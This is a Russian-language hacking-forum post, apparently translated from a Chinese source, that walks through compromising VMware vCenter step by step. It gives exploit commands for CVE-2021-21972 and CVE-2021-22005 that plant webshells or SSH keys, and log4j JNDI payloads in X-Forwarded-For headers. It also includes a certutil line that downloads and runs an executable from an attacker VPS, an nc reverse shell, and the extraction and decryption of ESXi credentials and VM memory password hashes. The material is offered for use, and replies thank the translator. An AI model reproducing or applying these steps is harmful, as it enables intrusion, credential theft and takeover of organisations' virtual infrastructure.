• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Кратко об эксплуатации уязвимостей в Vcenter

samarie

HDD-drive
Пользователь
Регистрация
06.04.2023
Сообщения
34
Реакции
83
Депозит
0.00
Оригинал: https://forum{.}butian{.}net/share/1893
Переведенно специально для xss.pro
0x01

title="+ ID_VC_Welcome +"

1687796838194.png

0x02 Версия Vcenter
/sdk/vimServiceVersions.xml

1687796854611.png


0x03 CVE-2021-21972

Уязвимы:

vCenter Server7.0 < 7.0.U1c
vCenter Server6.7 < 6.7.U3l
vCenter Server6.5 < 6.5.U3n


/ui/vropspluginui/rest/services/uploadova

Если вы перейдете по указанному выше пути и увидите 404, значит, уязвимости нет, если 405, возможно, есть уязвимость

1687796889179.png


Машины Windows:

Эксплойт уязвимости: https://github.com/horizon3ai/CVE-2021-21972
python CVE-2021-21972.py -t x.x.x.x -p ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\gsl.jsp -o win -f gsl.jsp

-t (адрес назначения)
-f (загруженный файл)
-p (путь к веб-оболочке после загрузки, по умолчанию его менять не нужно)

attach-a70674a467b5e1af4084303d0ee2018cbd8d9e53.png


Путь после загрузки будет следующим

https://x.x.x.x/statsreport/gsl.jsp

Полный путь
C:/ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport

attach-32ae6de3c25ebd05e88d0782435b9f27060d8372.png


Машины Linux:

1. запись открытых и закрытых ключей (нужно, чтобы порт 22 был открыт)

python3 CVE-2021-21972.py -t x.x.x.x -p /home/vsphere-ui/.ssh/authorized_keys -o unix -f id_rsa_2048.pub


2. обход оболочки записи (занимает больше времени)


attach-05a913d41bb24b91bcf29d675c43a0216dbb7588.png


0x04 CVE-2021-22005

Уязвимы:

vCenter Server 7.0 < 7.0 U2c build-18356314
vCenter Server 6.7 < 6.7 U3o build-18485166
Cloud Foundation (vCenter Server) 4.x < KB85718 (4.3)
Cloud Foundation (vCenter Server) 3.x < KB85719 (3.10.2.2)
6.7 vCenters версии Windows не затронуты.


Эксплойты уязвимостей


cve-2021-22005_exp_win.exe -u https://x.x.x.x --shell

attach-0bef920cb8b4a431b619df713889aadb8e98bc21.png





python cve-2021-22005.py -t https://x.x.x.x

attach-82ad078909b942162f90c1ebaeaa801e4a739eeb.png


Подключение к веб-оболочке

https://x.x.x.x/idm/... ;/test.jsp

attach-2a58627c60e7afc64a7ff5852c35add37a5a30cb.png


Полный путь к загруженной веб-оболочке следующий

/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/xx.jsp

0x05 CVE-2021-44228

Эксплуатация уязвимости log4j, уязвимость срабатывает из-за заголовка XFF
Код:
GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: 192.168.121.137
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Dnt: 1
X-Forwarded-For: ${jndi:ldap://9qphlt.dnslog.cn}
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close



DNSlog определяет, уязвима ли система

X-Forwarded-For: ${jndi:ldap://9qphlt.dnslog.cn}


attach-a9cec220ce57579231dd1299a825d5f910847abd.png


Используйте JNDIExploit, -u для просмотра исполняемых команд

c3172521848a10b615d4b.png


Эксплойт:


Код:
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i VPSIP
X-Forwarded-For: ${jndi:ldap://VPSIP:1389/TomcatBypass/TomcatEcho}
cmd.


f3aa3137615b8fa88bde6.png


16fb3a02c2a49bb0c5e11.png

Код:
GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: 192.168.121.142
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Dnt: 1
cmd: certutil -urlcache -split -f http://VPS C:\Users\Public\1.exe &amp;&amp; C:\Users\Public\1.exe
X-Forwarded-For: ${jndi:ldap://VPS:1389/TomcatBypass/TomcatEcho}
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close

d579d8471a10c9566f21c.png



В Linux используется команда оболочки bounce

Код:
nc -e /bin/sh 10.10.10.10 8888
nc -lvp 8888


#Если интерактивная оболочка не отображается, используйте следующую команду для переключения на интерактивную

python3 -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'

f71471a8d14ee8ff1b36b.png


0x06 Получение доступа к консоли vcenter-web

Сброс пароля

Более быстрый метод, но оригинальный пароль будет недоступен после изменения, и администратор обнаружит, что пароль был изменен.
Выберите опцию 3 и введите стандартный administrator@vsphere.local (требуются привилегии администратора).

Код:
#Linux
/usr/lib/vmware-vmdir/bin/vdcadmintool

#Windows
C:\Program Files\Vmware\vCenter Server\vmdird\vdcadmintool.exe


d42c711935641822b6b0a.png


вход через куки

Получите cookie, расшифровав логин базы данных, затем войдите в веб с помощью cookie.

Сценарий расшифровки: https://github.com/horizon3ai/vcenter_saml_login

python vcenter_saml_login.py -p data.mdb -t 10.9.16.11

Затем будет сгенерирован соответствующий файл cookie, просто посетите путь ui и замените файл cookie

Код:
#Linux
/storage/db/vmware-vmdir/data.mdb
#windows
C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb

68d0726736e8e759bd78f.png


Замените cookie и спокойно входите в систему

4fe66b455d6f56ee4adc9.png



Для запуска скрипта на windows необходимо установить соответствующую версию python-ldap


Код:
pip install python_ldap-3.4.0-cp38-cp38-win_amd64.whl
pip install -r requirements.txt

53691e7ab4ffc07aaea1c.png


da1f14bf68dda11849160.png


Во время тестирования я обнаружил, что файл windows data.mdb слишком большой и не очень удобен для извлечения, подходит для Linux машин

cce26cb4aae9553c0474a.png


На этом этапе, если на целевой машине есть среда python, вы можете использовать скрипт мастера 3gstudent для его эксплуатации


python vCenter_ExtraCertFromMdb.py data.mdb

fece3436fee0533042a86.png



Скрипт сгенерирует три файла сертификатов и поместит их в соответствующие места


python vCenter_GenerateLoginCookie.py 192.168.121.135 192.168.121.135 vsphere.local idp_cert.txt trusted_cert_1.txt trusted_cert_2.txt

58cf907f217cf184da472.png


Получение пароля без сброса (ESXI)

Просмотр домена

Код:
#Linux
/usr/lib/vmware-vmafd/bin/vmafd-cli get-domain-name --server-name localhost
#windows
C:\Program Files\VMware\vCenter Server\vmafdd\vmafd-cli get-domain-name --server-name localhost
C:\PROGRA~1\VMware\"vCenter Server"\vmafdd\vmafd-cli get-domain-name --server-name localhost

Ошибка: путь не распознается из-за пробела посередине

5082bc88820566b64188b.png


Решение: Используйте двойные кавычки для разделения путей, содержащих пробелы

43ff9e86b75e41a11634d.png


1. Получите ключ

Код:
#Windows
type C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat
#Linux
cat /etc/vmware-vpx/ssl/symkey.dat


19b6d66d230d97621dba9.png


2、Получите пароль учетной записи базы данных

Файл базы данных vcenter по умолчанию хранится в vcdb.properties, в конфигурационном файле пароль учетной записи базы данных находится в открытом виде

Код:
#Linux
cat /etc/vmware-vpx/vcdb.properties
cat /etc/vmware/service-states/vpxd/vcdb.properties
#Windows
тип C:\ProgramData\VMware\"VMware VirtualCenter"\vcdb.properties
тип C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties

438d325da08d3817f5a60.png


dd315649a515573857157.png



По умолчанию используется база данных postgresql, в которую можно войти только локально на сервере vCenter, и выполняется оператор для запроса пароля ESXI.

Расположение по умолчанию для #psql

Код:
Windows: C:\Program Files\VMware\vCenter Server\vPostgres\bin\psql.exe
Linux: /opt/vmware/vpostgres/9.3/bin/psql


# Выполните запрос

psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" &gt; password.enc

# В результате выполнения будет выведено зашифрованное поле

Command&gt; shell psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" &gt; password.enc

ip_address | user_name | password
-------------+-----------+---------------------------------------------------------------------------------------
192.168.1.1 | vpxuser | *H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg==
192.168.1.2 | vpxuser | *zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q==
192.168.1.3 | vpxuser | *Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw==
192.168.1.4 | vpxuser | *R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA==
(4 rows)

# Сохраняется только поле пароля

*H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg==
*zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q==
*Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw==
*R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA==


На практике мы также сталкиваемся с ситуациями, когда используется базы данных MSSQL, в этом случае мы подключаемся напрямую с помощью navicat и ищем таблицу VPX_HOST

766d3c3f52abadb19bf86.png


f76e50f9e59dcec7de07c.png


3. Используем скрипт для расшифровки


Поле пароля помещается в файл password.enc
symkey.dat - ключ расшифровки, полученный на первом этапе

38ff1ecc3ea8c47b08b2c.png


python decrypt.py symkey.dat password.enc password.txt

После выполнения скрипта будет выведен файл password.txt, содержащий пароль машины ESXI, соответствующей ip_адресу.

4. Войдите в ESXI

Добавьте /ui к адресу машины ESXI, чтобы получить доступ к веб-консоли с паролем из файла vpxuser/password.txt

b377b77f3b821200edd0d.png


5240daa291a4184f7ece4.png


Расшифрованный пароль может быть использован для входа в веб-консоль, а также для ssh на машину, но SSH должен быть включен

c699d3f85860a4781252c.png


b33cea1d7f4cf16d89b8a.png


0x07 Получение привилегий виртуальной машины

После входа в веб-консоль вы хотите получить права определенной виртуальной машины, например, целевой системы

Выберите целевую виртуальную машину и выполните операцию создания снапшота

968faeae734b756ba69ce.png


Перейдите в место хранения данных и найдите соответствующий файл снапшота

4f8e511486341f1fa942f.png


Вы также можете войти на сервер ESXI через ssh и найти соответствующие файлы vmem и vmsn

find / -name "*.vmem"

37f084842357412c54145.png



Используйте volatility для просмотра профиля
volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem imageinfo

57604a25eab20dfd31689.png


Прочитать реестр

volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem --profile=Win7SP1x64 hivelist

2732ec36ad0fa0588de58.png



Получите хэш и расшифруйте пароль
volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem --profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a00084c010

fa7ea712e5c6b4c1c2f2e.png

fff5ddc991c3b8bdb348a.png
 
Последнее редактирование:
Это лучшая статья что я видел по вцентрам, спасибо за перевод

Версии в пдф и док форматах
 
Последнее редактирование:
если я тебя правильно понял, то вот это должно помочь

otlichnay super stat'ya tol'ko cherez navicat ne polychaetsya podklychitsya, podklychilsya chere mssql vtroennu no vidalo vpxuser ne na vse mashina kak bydo s oshubkou, mojet podkajute, ka s navilat podklycht'sya?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх